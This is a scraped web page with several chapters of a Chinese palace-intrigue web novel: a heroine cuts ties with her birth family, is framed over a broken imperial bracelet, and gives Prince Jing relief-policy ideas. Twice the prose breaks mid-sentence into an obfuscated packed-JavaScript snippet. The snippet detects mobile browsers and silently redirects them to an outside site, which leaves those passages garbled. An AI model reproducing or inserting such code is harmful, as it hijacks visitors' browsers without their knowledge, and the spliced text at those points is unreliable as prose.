“黑的白的都让你们说了,你们当初是怎么逼迫南茵这丫头的自己心里清楚,我已经请了魏公子做鉴证,难听的话就都少说一点,一会签字画押到官府做了证明,日后就别再缠着南茵这丫头了。” 凤泽宇一脸痛苦, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15295584|166304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他看向凤南茵,“二妹,你寻回家中,哥哥还未来得及与你交谈,你当真要断了这层关系?” “凤公子,我不是今天才出现的,十四年前我就存在,也未见你这位哥哥寻过我,如今又何必假惺惺。” 凤南茵一张嘴就让凤泽宇哑口怔住,他……确实没想过寻这个小妹。 凤南蓉在旁委屈,“大哥你看到了吧,你还怪是我多嘴,怪母亲做事不对,你看看她是什么态度,你想认妹妹,人家可忌恨着你十几年了。” 凤泽宇叹了一声,“如今父亲不在,母亲近来身体欠安,我做为凤家长子,这断亲书便由我代母亲签了吧。” 凤南茵道:“不必,我与你,与凤南蓉本无一丝情份,我断的是与凤夫人的母女情,相信凤夫人签字画押的力气还是有的。” 凤泽宇气得站起了身,“你,你果然如传闻那般,粗鄙、无情,冷血至极!” 雅室的门再次被推开,男子清冷的喝斥声传进来。 “凤泽宇,道听途说,听之信之就是你将来的为官之道吗?” 凤泽宇一震,转头竟然看到靖王也来了。 魏锦摸了摸鼻子,对凤南茵眨了眨眼。 “南茵,她们往你身上扣了太多屎盆子,也是时候让她们清醒清醒,所以我将王爷也请了来。” 众人见礼,被靖王都免了。 “今日本王来,一是为你两方断亲做个鉴证,二来,也是想告知你们,你们如今能坐在这里,几次三番拿捏凤南茵,而不是背着罪奴的身份被发配苦寒之地,都是当初凤二小姐去王府求的本王。” “安国公是什么性子,为了能活着让他做什么都愿意,当真以为你们现在享受的富贵是他换来的?” 凤家人震惊在原地,不敢置信听到的话。 靖王又道:“有些事,本王不便名言,你们该承谁的恩情,希望你们心中有数,忘恩负义这个词,本王不希望你们再用在冀宁身上。” 他拿出三张纸摊开在桌上,“这是本王命府上门客代写的断亲文书,一式三份,你们两方看过无异议,便签字画押吧,本王会命人送至官府留档。” 凤南茵就那样定定地看着靖王,“他,竟然为了自己的私事帮忙出头?” 还说出当初安国公无罪释放的缘由,他为什么要对自己这样好? 是因为德妃娘娘吗? 第一百四十九章断亲 凤泽宇因靖王的话,羞愧的抬不起头,母亲和大妹都做了什么,竟然让靖王都看不下去眼,准备出面相帮。 他看这情形,还想做最后的争取。 “王爷先前的事情多有误会,母亲并不知情,相信日后我们全家人都会对二妹好,还请二妹和王爷给咱们一次弥补的机会。” 靖王看向凤南茵,“你怎么想的?” 凤南茵摇了摇头,“人若**,一句道歉岂能让他活过来?凤公子全当从前的南茵**。” 凤泽宇蹙眉:“南茵,血脉亲情哪里说断就能断的,我们可是家人啊!” 凤泽宇说的更是情真意切,甚至眼中都带了泪。 凤南茵瞥开头,这份后知后觉的悔悟,她已经不需要了。 魏锦在一旁看不下去了,这一家人还想吸丫头的血,还吸上瘾了? “凤泽宇,你是读书读傻了吗?你们一家人偏心偏到一次次伤丫头的心,现在你又来挽回。你又何必为难南茵?” 他甩开折扇,不屑地看了一眼凤南蓉,“就凤大小姐那样的,她哪里值得丫头为她牺牲?她的命都是自己妹妹救的,恩情她承受的心安理得,你们一家人都觉得南茵的付出是应当。这等忘恩负义的性子,也就眼瞎的人觉得她能助凤家荣光。” 宫良附和:“全家人都自私,自然眼里只有像他们的那人。” 凤南蓉又被奚落,气得娇嗔,“大哥,人家根本不认你,你低三下四地自降身份做什么,我这样被人说,你脸面上好看?” 凤南蓉拿起文书一目十行看了,从现在起,她再也不想与凤南茵扯上关系。 “怎么回事,先前可不是这样说,答应会助我的条件呢?” 靖王鄙夷地看着她,摇了摇头。 早前母妃竟是想将这种人嫁与自己为正妃,这种自私丑陋的嘴脸,怎配为正妃。 “凤夫人,本王先前说的你可都听到了?” 盛青岚自然是听到了,她没有感激南茵的所作所为,反而在心底怨恨上了靖王。 她送了一整匣南珠,各个都是无价之宝,却连一个秀女名额都没换到,凤南茵凭什么能救出凤府一家人? 靖王所说的话,她一个字都不信。 她脸色难看地点点头,“自然是听清楚了。” “既然听清楚了,就该知道凤南茵早已经还了你的生育之恩,不再欠你们,签字吧。” 盛青岚暗自捏紧拳头,自从凤府败落,她处处被人逼迫,如今连她生下来的冤家都要这样逼她。 “南茵,母亲再问你最后一次,你当真决定要与我断了亲情。” 凤南茵没有回她,而是拿起笔,率先写了自己的名字,在一旁按下了手印。 “靖王,今日多谢相助,此恩此情南茵铭记于心。” 靖王颔首,转头看向凤夫人。 盛青岚险些气晕过去,好,好的很,若是她再不签,好像巴着凤南茵洗一样。 她再不迟疑,拿起笔签下名字,画了押。 “泽定、南蓉,我们走。” 靖王:“等下。” 时景轩拿出一张纸,“当初你到靖王府求秀女名额,本王觉得你们是在不自量力。如今你们为了这个名额一直各种强求,即是如此,本王满足你们,但是,日后不准说是凤南茵提出退亲的,胆敢损毁她的声誉,本王绝对不放过。” 凤泽宇眼神复杂地看着靖王,越发觉得今日之事没能挽回,日后必会后悔。 而盛青岚拿到那秀女名额,心中已经说不出是何等滋味。 有恨、有怨,唯独没有感激与欢喜。 当初靖王若将这个名额给自己,她与南茵也不会闹到这一步。 她压下心中仇恨的情绪,福身,“谢王爷,民妇告退。” 此时最高兴的莫过于凤南蓉,她道:“母亲,您放心,女儿一定不会让您失望,只要入了宫,女儿一定会想办法努力向上爬,一定会助大哥恢复凤府昔日荣光的。” 凤氏拍了拍她的手。 “那签文一定不会出错的,母亲信你。” “今日咱们所受的**,我希望你们兄妹二人永远记住,日后不惜一切代价,都不可以再让人瞧不起!” 凤泽宇回头看了一眼茶室。 “母亲,二妹是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15301319|166304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有本事的人,您不该与她生份了。” “现在说这些还有何意义,你只需要好好帮你大妹,你们兄妹要好好帮扶。” 凤家人走了,凤南茵揣着断亲书,心中五味杂陈。 宫良道:“王爷,今日承蒙您与魏公子替丫头做主,若不嫌弃到府上吃个便饭吧。” 魏锦才要欢喜应了。 靖王却是沉着脸。 王爷心情不愉,其他人哪敢造次。 “凤南茵,本王都不知要如何骂你,别人欺负到你头上,你还要一味的退让?” “退让?王爷指的是?” 时景轩无奈地摆手,“算了,那等勾心斗角之事够多了,你就保持本心也好。” 大不了他多多上心,帮丫头善后就是。 凤南茵勾了勾唇,无奈地苦笑了一下。 她并非圣人,自然有怨有恨,她在生气的时候,也想弄死凤南蓉,也恨为什么要有那样的母亲。 但她害人后,没有善后的能力。 与凤夫人明着**,只有她吃亏的份。 如今断了亲,日后她再出手便不会被掣肘,日后她不会再一味的吃亏。 “王爷,鸡蛋岂能与石头硬磕,就如今天她们明明气的要死,不一样要忍着,从今往后我有娘亲护着,日后我不会再让自己受委屈了。” 她笑的讨好,杏眸笑的弯成一道月牙。 靖王见她像个猫儿一样会讨好人,哼了一声。 “还成,没有傻到缺心眼的地步。” 原以为清净的日子能多一些,才到大年初四,夏公公忽然造访小院。 “乡主,德妃娘娘宣您立即回宫,出事了。” 凤南茵心下一颤,“公公,可是娘亲身体不安?” “不是咱们娘娘,娘娘身体一切都好,是贵妃娘娘在御花园走了一圈,便有小产的迹象,说是踩了东西滑了一跤,而那珠子被宫人捡到,竟是贵妃赏赐出去的手串。” 凤南茵忙摸自己手上的珠串,不知是巧合还是过于紧张,那珠子竟然应声碎落,珠子落在地上弹得到处都是。 “啊……” 第一百五十章贵妃准备污蔑、攀咬 夏公公急得跺脚,“怎么就那么巧,老奴来接乡主回宫,偏就这珠串断了,这下子坏事了呀。” 凤南茵不解,“我这几日都不在宫中,就算贵妃想找我的麻烦,也赖不到我身上吧?” 所以就算是她的手串断了,也不至于将夏公公吓成这样啊? “乡主您有所不知,贵妃滑了一跤后,就见了红,当下就找到了丽妃娘娘,可丽妃娘娘的手串是完好的,不然德妃也不会急着让奴来接乡主回宫。” 凤南茵愕然,这是要赖上自己了吗? 还真是人在家中坐,祸从天上来,她收个谢礼都能收出事? 雏菊脸色都吓白了。 “咱们快捡珠子,若是都捡起来串好,这事就与咱们彻底没有关系了。” 夏公公也忙道:“对,快找,最好是一颗都不要少。” 雏菊忙趴地上找,夏公公也是趴在地上捡着珠子。 就连周婶和水水都跑来找,可是连地缝恨不得都抠了,怎么寻都少四颗。 夏公公气得音调都变了,“这可怎么是好,少了四颗,现在咱们是有嘴也解释不清了。” 雏菊看着散珠,嘟囔着,“就算断了又如何,咱们几日没在宫中了,贵妃娘娘自己摔了,只能怪她不小心,这也能怪到咱们?” 凤南茵拨弄着珠子,问道:“她若是真流产了也怪不到咱们,只是这东西是御赐之物,损坏了多少要受些责罚,再加上害贵妃娘娘险些小产,这事怕没那么简单揭过。” 雏菊难过,“还真是人在家中坐,祸从天上来,怎么就那么倒霉,这么名贵的珠串轻轻一碰就断了?” 凤南茵拿着断掉的那串绳仔细查看,这等名贵之物用的丝线绳就像被腐蚀过一般,多处糟薄了。 “呵,都说无功不受?,可惜是我替贵妃娘娘治好脸,她感激我的方法却是让我受罚。” “夏公公,损坏御赐之物该当何罪?” 夏公公担忧地道:“损坏御赐之物该当死罪,就算是无心之过,大到挨板子小到罚跪,总是不能相安无事。” 凤南茵无奈地叹了一口气,“有些人,总是好好的日子不愿意好好地过,总是找人麻烦做什么?” “回宫吧。” 贵妃在送礼物之时就下了套,那丛嬷嬷捏着她的手亲自珠串戴上,没给她拒绝的机会。 翌日她去翊坤宫谢恩,手上总要戴着那珠串,随后就被各宫的人上前打扰让她忘记了摘下。 为了教训她,竟是用计这样的深。 宫良听了讯赶过来,一脸的担忧。 “丫头,你这就回宫了?” 凤南茵点了点头,“贵妃给我下了套,不得不回去了。” “师伯不用担心,不会有事的。” 宫良哪能不担心,“贵妃对你这般虎视眈眈,此次回宫不达目的又怎么会罢休。” 他从书架上掏出一本书,“这本《千金要方》你在路上挑着细读,这因身体原因小产见红,还是外界原由小产,这书你好好细读,也许能帮到你。” 凤南茵点头,“师伯,我会让人送消息回来,不会有大事的。” 匆匆回宫,连钟粹宫都没来得及回,就被召进翊坤宫。 丛嬷嬷在她回宫的路上守着,见到人直接拦下。 “乡主,这会皇上、皇后还有德妃都在那边,正等着您过去问话呢。” 凤南茵心道:“这有什么好问的,今日是躲不过挨罚了。” 钟粹宫这会弥漫着中药香,贵妃脸色惨白地躺在榻上,皇上坐在她身旁轻言安抚着。 她进来后,便给众人见礼。 贵妃不等她起身,红着一双眼睛挣扎着坐起身,“凤南茵,本宫赏赐你的手串呢?” 凤南茵无奈道:“回娘娘,断了。” 贵妃当即扑倒在皇上怀里,四十多岁的人了,撒起娇来比少女都不遑多让。 “皇上,那是暹罗国送的御贡之物,臣妾为了感谢冀宁替我医治脸,万般不舍地送出去,她就这样不爱惜。” 凤南茵跪下,将一个荷包掏出来。 “贵妃娘娘所赠之物,冀宁珍爱的紧,才会日夜戴着,只是这手绳疑似被药水浸泡过,只要试图摘下,就会破碎掉,皇上和各位娘娘可以鉴证。” 她将断掉的绳子拿出来,还未呈上,贵妃就厉喝。 “凤南茵,你可知欺君之罪?你弄坏了手串本无大过,本宫不小心踩在珠子上险些小产,念在你是无心之过,罚你跪上几个时辰,事就算了。” “你倒是自作聪明,竟然以为扯这样的谎话就能瞒混过去?” 凤南茵瞪大眼睛看着,心中思忖:罚跪几个时辰,这贵妃是想要她双腿废了吗? 果然心黑无比! 夏公公见小主被冤枉,忙帮着澄清。 “乡主她没有说话。” 夏公公忙跪下帮忙澄清。 “皇上,老奴去传话的时候,乡主还完好地戴着那手串,老奴说起贵妃动了胎气一事,乡主查看手串,那手串一碰就断开了。” 丛嬷嬷在旁冷笑,“夏公公,你也是宫中老人了,不能为了替乡主撒谎,就当着皇上面欺君啊?” 夏公公忙道,“老奴断然不敢欺君,老奴句句实话。” 可是这这话只有当事人晓得是真的,说出来都觉得是在骗人。 皇后这时喝斥她,“南茵,虽说损毁御赐之物有罪,可这物件到底是贵妃转了手,为了感谢你所赠,你实话实说便好,让下人为你说假话,只是罪上加罪。” 凤南茵蹙眉,“皇后娘娘,臣女所说句句属实,找人验一验这绳子自然清楚。” 德妃也道:“南茵不是说谎的性子,我相信她的话句句属实。” 贵妃今日定要让凤南茵受罚,扑在皇上怀里痛哭。 “皇上,臣妾险些小产,难道就这样算了吗?” 丽妃这时咬着下唇,站了出来。 “我能证明冀宁乡主没有说谎。” 皇上看了丽妃一眼,心道梨儿还真是善良,明明此事为了帮她掩饰,他这个皇帝连最后一串手串都命人内务府取了出来。 丽妃歉意道:“皇上,冀宁乡主几次帮过臣妾,臣妾却贪图一时安逸不为她做证,这辈子良心都难安。” “皇上,求您治臣妾的罪。” 皇后诧异地看着二人,“丽妃这话是何意?” 皇上喜欢丽妃这单纯的性子,她越是如此,自己越是怜她。 “没什么,不过是那日她的珠串断了,怕朕责罚便求到朕身前,朕觉得这不是大事,便命内务府做了修饰,怎么那么巧,贵妃就踩到她丢失的珠子滑了一跤。” 贵妃不敢置信地看着皇上,“所以,皇上早就知道是她所为,却为之隐瞒,皇上,我腹中怀的可是您的孩子啊!” 皇上怎么可以这样对她? 第一百五十一章那就将计就计,又如何 德妃也是心有不满,皇上明知不是南茵的错,还要召这孩子回宫? 皇后也是不愉,她不敢说皇上,将矛头指向丽妃。 “丽妃,这么说来,贵妃踩到散落的珍珠摔倒,实则是你所害,你将咱们这些人耍得团团转,当真是要恃宠而骄吗?” 丽妃害怕地瑟缩了一下身子,躲在皇上身后。 皇上喝斥她,“是朕让她不要声张,一串珠串而已,又不是她故意而为,难怪还要大动干戈,为此罚她不成?” 贵妃:“可是皇上,我为此险些小产,我腹中的可是龙嗣!” 凤南茵身姿跪得笔直,她道:“这事说来也巧,贵妃当夜赠我与丽妃娘娘一人一条珍贵无双珠串,可是这样御贡之物本该祖辈相传,质量绝对没得说。可我二人皆戴没两日就断了。” “皇上,这事当真这样巧合,不觉得蹊跷吗?” 皇上还有什么不清楚的,贵妃将他的赏赐转赠,他本无不快。 如今两条手串出了同样的问题,不是有人在背所为,还是为何。 “小?子,此事好好查,为何御贡的手串质量如此不堪?是谁动了手脚,查出来直接杖毙,必须给贵妃一个交代。” 贵妃忽然就闭了嘴,这件事就只能这样不了了之? 查,难不成还让皇上查到自己头上不成? 她不甘心,自己遭了这一通罪,竟是不痛不痒的被揭过? “皇上,不管是谁在背后使坏,臣妾到底因为丽妃遭受了这一场罪,您当真要护着她至此?” 皇上冷漠地看着她,已经有了薄怒。 他本想问皇后这事要怎么处置,想到她刚刚针对梨爱妃的那些话,转而问德妃。 “文姬,此事你看要如何禀断?” 德妃心里也不痛快。 今日要没有丽妃站出来说实话,倒霉的就是南茵,届时可不是一句叱责就能了事的。 丽妃的情份她放在心上,便道:“丽妃有错,便是去了御花园,走了贵妃常爱走的路,既然如此,就罚她直到贵妃生产,都不准再逛御花园,皇上觉得这个惩罚可好?” 皇上满意地点点头,却不自己表态,问皇后,“皇后,你觉得这样处置如何?” 皇后苦笑,这后宫已经没了她说话的份,又何若问她 。 “臣妾没有意见。” 皇上点头,“如此,就依德妃所言处理吧。” 皇上看了一眼凤南茵,要不是他,自己袒护丽妃一事也不会被众人知晓。 这丫头有优点,可也容易引发麻烦。 他竟是不喜凤南茵留在宫中。 “皇后,景臣的身子调理的如何了?” 皇后不知其意,只能如实回答,“近来身体尚好,时常能在宫中散散步,较之从前大有进步。” “既然如此,冀宁的药膳方便留下一份吧,朕不白要你的方子,在南城赐你间宅院,日后无事还是宿在宫外吧!” 德妃心下诧异,皇上竟然因这事要赶南茵出宫? “皇上南茵何错之有?您知道她留在臣妾身边,于我是有一种安慰,您也是答应过臣妾的啊。” 皇上总不能说,这个丫头搞得他后宫不宁,三天两头出事吧? “朕只是觉得后宫是非多,今日不就险些让她受了无妄之灾,宿在宫外她也自在些。” 德妃不舍,可皇上说的也都是实话,贵妃和皇后都不喜南茵,她一时护不住,不知要如何受罪。 余贵妃却不想这样便宜凤南茵出宫。 她搭上两条手串,演的这场戏,想出口恶气都没能做到,怎么会甘心。 “皇上,臣妾这一胎怀的不易,太医常说是药三分毒,不如让南茵留在这后宫为我调理身子,待我腹中孩儿出生再让她出宫吧。” 刚刚德妃还想南茵留下,这会却是想立即送她出宫。 “贵妃如今身体孱弱,身份贵重,她一个丫头哪能照料好贵妃的身体,不如让她写上几个对身体有益处的方子,让太医查验无问题,可由您宫中人做烹煮。” 换作从前,贵妃爱惜自己的身子,怕这一胎出问题,定是小心再小心。 可今日她吃了大亏,心中怀恨的两个小贱人都没事。 她道:“先前冀宁给我调理脸上的毒疮时,本宫用了数日一直好好的,本宫对她放心。” 德妃还想说,贵妃又道:“怎么,德妃食得冀宁做的药膳,我这个贵妃就不配了?” 凤南茵想着,德妃那个计划虽然已经实行了,但是只用了那几顿饭,未必就能成功。 君子报仇,十年不晚。 即便再恨,眼下她都会隐忍下去。 趁着此次机会,她一定要让贵妃生出怪胎,彻底失了贵妃的权势才行。 “南茵愿意照料贵妃饮食,只是这药膳终究不如寻常吃食美味可口,且讲究的是日积月累地调理,不如晚上这一餐由我为贵妃调理,包管您营养够用,又不会孕期发福。” 贵妃欢喜,“皇上,您看,要不就留这丫头在宫中一段时日?” 皇上蹙眉,这两人之间的龃龉如此之深,还要绑在一处吗? 他觉得厌烦,随意地挥手,“爱妃想用她,留着便是。” “但是冀宁,贵妃的身子出现一点不适,朕可要拿你是问。” 德妃急了。 “皇上,南茵年岁尚小,担不起这样大的事,不如再派个太医,二人一同照料贵妃的身子,如此臣妾也能安心。” “可!” 贵妃得意地看了德妃一眼,心中暗忖。 怎么样,你的义女,还不是本宫将人留下来便留了下来。 这日后,也是本宫想怎么磋磨罚她,便怎么磋磨罚她。 丛嬷嬷这时小声提醒,“娘娘,您向来有午休的习惯,不如还是从前那般,让冀宁乡主在翊坤宫做好给您送来,如此不耽误您休息?” 贵妃刚想喝斥她老糊涂,忽然就想到祁公公奉旨办差不日就要回宫了,届时钟粹宫多了外人,发现祁公公在她那里,可就不妙了。 “还是你想的周道,如此就按先前那般照做吧。” 闹了一场,雷声大,雨点小,众人就这样散了。 凤南茵身上莫名其妙又多了一份差事,却是心事重重回了钟粹宫。 德妃心中苦闷,南茵被贵妃盯上,她是越来越护不住这丫头。 正想着,要不要让南茵生一场病,送出宫外,凤南茵忽然问她。 “娘亲,贵妃和她身边的嬷嬷很是反常,这钟粹宫好似很怕我在那里久留,难不成是有什么秘密怕人发现?” 第一百五十二章南茵,你真是本王的福星 德妃被南茵提醒,这才意识到今日之事确实有蹊跷,换作以往,这样好的为难人的机会,那丛嬷嬷咋会将人往外推。 “我会给轩儿送信,让上次那名暗卫盯着点翊坤宫,瞧瞧她们背地里在做什么,不过南茵,这吃食上你也要小心着再小心,可不能让贵妃借此机会诬陷你啊。” “那我每做好的汤水都让丛嬷嬷亲自过来取,当着她的面一式三份,一份送坤宁宫,一份送御书房,剩下那份让她带回翊坤宫?” 德妃也没别的办法,心中厌烦的紧。 “暂且如此吧。” 她捏了捏拳,总是这要坐以待毙的受着,这日子真是过够了。 偏贵妃如今有孕,又拿捏着南茵替她调理身子不能下手,竟是让她越发嚣张。 “叫靖王进宫,就说本宫老毛病犯了。” 才过巳时,靖王便到了钟粹宫,看着宫娥在给母妃揉捏着太阳穴,担忧地道:“母妃,您身体如何了,太医如何说?” 德妃让伺候的人都下去,脸色抑郁道:“母妃身体无事,只是这心中郁结的紧,宣你过来也是想让你替我想想主意。” 她将近来发生的事情和靖王说了一遍。 “母妃本想容她到生产之时,可是她仗着肚子一再生事,当真是不将我放在眼里。如今她拿捏着南茵替她调理身子,这一胎断然不能有事,你可有好法子给她点颜色看看?” 靖王见母妃这次是真的气狠了,以往都是大事化小,小事化了,息事宁人的性子,现在竟是再不想忍了。 “这事不难,贵妃如此,不过是余尚书如今手握大权,加之这些年拥护安王的朝臣多,母妃什么都不需要做,近来刚好有机会送上门,您只管看着儿臣如何釜底抽薪,让她再没心思害人。” 母子二人谈了半个时辰,靖王出门时德妃笼罩在眉头的烦闷散了不少。 靖王看到站在廊下的凤南茵,对她点了点头,“送送本王。” 凤南茵跟在他身后,错开半个身子。 “南茵,你在宫中若是不开心,贵妃那边我会找人顶替你为她调理身子,你这个年纪该是无忧无虑的生活。” 凤南茵感激靖王如此待她,轻轻摇头。 “南茵自愿入宫,得娘亲疼宠,感受到这世间母女亲情滋味,现在只想替娘亲分担忧愁。” 靖王停下步子,看了她好一会。 这般知感恩的性子,难怪母妃为了护她将自己叫入宫中,算是没白替这丫头担忧。 “对了,上次赈灾的事情你替本王出了两个主意,实施起来反响都很好。” 皇上将赈灾后续之事全权压在他的肩头,灾后恢复生产一事又哪是那么简单。 “只是大灾之后土地毁坏严重,加之流民留在各地,并非一时半会就能重返故土,眼下朝廷招工,让他们堪堪有生存之力,可春耕四月就要开始,到时荒田依旧面临无人耕种的境地。” 春耕百姓赶不回家园,灾情只会持续。 恶性循环,灾情将多年无法缓解,届时朝廷也会被这次旱灾拖垮,到时候才是真的可怕。 此事困扰他多日,可一直没想出好的解决之法。 靖王也不知为何,心中烦闷很想向凤南茵絮叨两句。 许是这丫头沉稳、安静。 又许是这丫头上次看似不经意的点子帮他解决了大麻烦,眼下困扰他多日的春耕一事自然而然就吐露出来。 凤南茵有些受宠若惊,没想到王爷会与她说这许多的话。 凤南茵在他身后,想到灾情初起的时候发生的事。 “我记得家中遭抢之前,一位常年找阿爷瞧病的赵员外想雇阿爷随府乔迁到益州。” 靖王听着,轻轻颔首,“益州多数盆地,是我国为数不多受灾最轻的州府。” 凤南茵叹息,“说来也是可笑,因为安国公府每个月都会给养爹五十两银子,阿爷提出搬居生活,被养爹拒绝了。” “他说阿爷一把年纪,还要伺候人,就是不会享福的命,不同意全家搬走。” “可是赵员外一家人走后的第三个月,赵家弯就涌入山匪,将家里所有都抢了。” 随后安国公府也断了供养,阿爷饿死…… “王爷,如果那时阿爷跟着赵员外一家人走了,就不会被活活饿死。”这件事她一直耿耿于怀,每每想起都难过的不行。 那赵员外一家人一定过得好好的,可养爹贪图安国公府的每月五十两,将全家都害了。 她抹了一下眼睛,“王爷,既然搬迁能重新落户,那百姓流离到了异乡,官府为什么不能给他们出具新的户籍文书,让他们在原地生活,免于返乡之苦?” “让流民在当地扎根?” 他苦笑,“这法子不可取,要知多少偏远之地已经无人,而州城附近皆是流民,安居在当地,又哪来的土地供养他们。” 荒田也只会更多。 靖王摇头了摇头,丫头的想法虽然是为百姓们好,却不可取。 凤南茵搅动着帕子,嘟囔道:“百姓日子难过,还不是朝廷征收的赋税太高,不然哪有那么多的灾民。” “地都荒了,种出来的粮食都不够纳税的,交不上税赋又是打又是抢又是抓走当奴隶的。她们不逃才怪,谁安心种地,谁又真想返乡。” 靖王死死瞪着凤南茵,吓得她后面的话都不敢说了。 靖王的眼神好可怕,她不该对靖爷发这样牢骚的,她咋就忘了,天下百姓都是皇族的子民,她这是想不要脑袋。 靖王却不是在怪她说话难听,而是忽然有所悟。 “移民就食,免于赋税!才是他该向朝廷谏书实施的根本举措。” 鼓励百姓自主开垦荒田,绝对比鞭策要效果好。 如果免于百姓开垦荒田三年赋税,百姓便会想方设法归家。 虽然如此一来,朝廷的税收大减,粮库依旧空虚,却能减少流民,有效控制暴乱频发。 这才是真的利国利民之举。 他双手紧紧握住凤南茵的肩膀,眼底涌动着激动。 “南茵,你真是本王的福星,今日与你聊天,又让本王茅塞顿开,你安心住在宫中,后续的事情本王都会替你和母妃肃清。” 凤南茵揉了揉被捏疼的肩膀,挠了挠头。 她说了那样大逆不道的话,王爷没有降罪于她,还夸赞她是福星? “王爷,翊坤宫那边……” “安心,我会安排人盯着,不出七日,贵妃再没心思找你麻烦。” 凤南茵虽不知自己说的这些是怎么为靖王解困的,可她知道,王爷烦恼的事情一定有了眉目。 靖王是她所知的,最爱民的官员,她仰慕地看着靖王远走的背影,真希望靖王才是当朝太子,那样百姓才是真的有了盼头。 第一百五十三章靖王动手,安王闯祸 只短短七日,凤南茵脸上好不容易养出来的肉肉又被累瘦了。 贵妃却是没有在吃食上为难她,可是自晓得凤南茵会针灸后,就让她交给翊坤宫婢女取穴按摩。 偏这整个后宫,女子懂穴位的医官只她一人。 而这翊坤宫的宫娥就像没长脑子一样,怎么教都不会,她去了太医院借了一个人体穴位模型教,待她们好不容易能上手为贵妃按摩了。 贵妃挑了一百八十种不舒服的理由。 凤南茵知道,她就是在找各种茬来为难自己,什么乡主,在翊坤宫,她就是一个为贵妃按摩的下人。 偏贵妃还在皇上面前夸赞她,人聪明按摩的舒服,缓解了她因睡眠不好导致的头疼。 更是赏赐了不少好玩意。 凤南茵每每到了酉时,丛嬷嬷过来拿药膳之时,就会被叫去翊坤宫伺候人,不到戌时过半,绝不放她回宫。 每日都吃不上晚膳,每日回来都饿得潜心贴后背,夜宵吃不上几口就倒在榻上睡着了。 雏菊和蝶兰都要拿热帕子替她敷胳膊和手指,心疼的紧。 “乡主,要不让奴婢喂您吧,瞧您捏着筷子都是抖的。” 德妃被人搀扶着进来,看到南茵晚膳还没用上,又气又疼。 “怎么累成这样?”偏今晚宵夜煮的是面条,凤南茵根本没吃几口进嘴里。 “娘亲,我没事,就是手上没劲才显得累到了,其实好着呢。” “竟嘴上逞强,走前就没来得及多吃几口,回来又吃不下去。” 她命下人端两盘点心过来,将面条撤下。 “明日让宫婢送些饺子、包子过来,那东西吃着方便。” 凤南茵一累就犯困,根本没有胃口,吃了一块点心便不吃。 德妃看着心疼,“轩儿也真的是,事情都过去这么多天了,怎么半点消息都没传回来。” 凤南茵见娘亲心疼,忙安抚道,“娘亲,我现在是手臂攒着劲呢,过几日就不会酸疼了。就是南茵都没有孝顺娘亲,给您按摩,倒是天天便宜了他人。” 德妃抓着她的手,轻轻放在手上揉捏着。 “这天底下哪有娘亲舍得使唤子女干伺候的,她让你受点累倒是还好,就怕她哪天生了坏心,治你的罪罚你,就算是我都没法替你求情。” 凤南茵若有所思道:“不过娘亲,我总是觉得有一点不对。” “怎么?” “娘亲,您想,贵妃每天都变着法的折磨我,若我是贵妃娘娘,一定将时间利用到极致,可每天她就像是算好了时间,戌时过半就准我离开,可宫中宵禁要过了亥时一刻。” 且今日她分明看到屏风后面露出一男子的鞋尖,她绝对没有看错。 可是贵妃急着赶人,她只能离开。 “会不会是你想多了?毕竟从翊坤宫走回来还要一刻钟,她怕你因宵禁回不得宫?” 凤南茵嘟唇,“贵妃想整我,干脆让我被关在甬道里,拿到慎刑司被罚不是更解她的气。” 今晚她刻意在翊坤宫外转了一圈,可惜她人小腿短,宫门紧闭,她什么端倪也没发现,白白挨冻。 绕了那么大一圈,回来的时间都赶得上,翊坤宫肯定有秘密。 “让暗影再盯几日再说。” 夏公公这时进来,“娘娘,王爷传信进来了。” 德妃这几日早就等得不耐烦了,忙道:“快给我看看。” 德妃快速浏览完信笺,放在炭盆里烧了,心下快慰。 “贵妃娘娘明日怕就没有心情找你的麻烦了。” 凤南茵最担心因为自己牵累娘亲不愉,这会见了笑模样,歪在德妃身上。 “娘亲,有好消息?” 德妃一直羡慕人家有小棉袄,如今这软糯糯的小丫头腻在身边,不知怎么宠好。 “是好事,安王闯祸了。” 安王新得了兴建避暑山庄的差事,由工部拟派人手配合他完工。 “他在城郊演武场组织的马球,结果他这边打不过对手,急了,骑马将工部尚书之子撞下马,当时张公子就昏厥了,说是伤的极重。” 凤南茵瞪大了眼睛,“我听贵妃娘娘炫耀过,称安王提出南水北调,要挖运河,将南北水运连通,弥补北方缺水,南边灾涝问题。” “皇上大喜,将挖砸运河与兴建避暑山庄两件事都安排给了他,是重用。” 这事情德妃知道,怪皇上偏心? 将这等油水大,千秋万代的功绩的差事给了安王。 将吃力不讨好,处处都是阻碍的灾后一事给了靖王。 贵妃嚣张得意,还不是认为安王在皇上那里得了重用,是当太子人选在栽培。 她冷笑:“看着吧,安王伤的可是良妃娘家最小的弟弟。良妃虽然深居简出,并不喜欢后宫争宠,但她有救驾之功,这事闹起来,贵妃替安王求情也没用。” 她安抚道:“去睡吧,明日她就不敢这样使唤你了。” 凤南茵还有一些将信将疑,安王出事,贵妃心情不好,不是更拿她来磋磨? 翌日,凤南茵又睡到日上三竿,醒来时,听雏菊道:“贵妃娘娘来了。” “啊?” 贵妃仗着有孕,连皇后的请安都省了,竟然一大早来了钟粹宫? “快,替我简单梳洗,我要过去听听。” 凤南茵连发髻都没挽,便藏到了正殿的屏风后,听着贵妃在那哭诉。 “妹妹,如今你统理六宫,在皇上那里说得上话,你替姐姐向皇上那里替景颐说说情。” 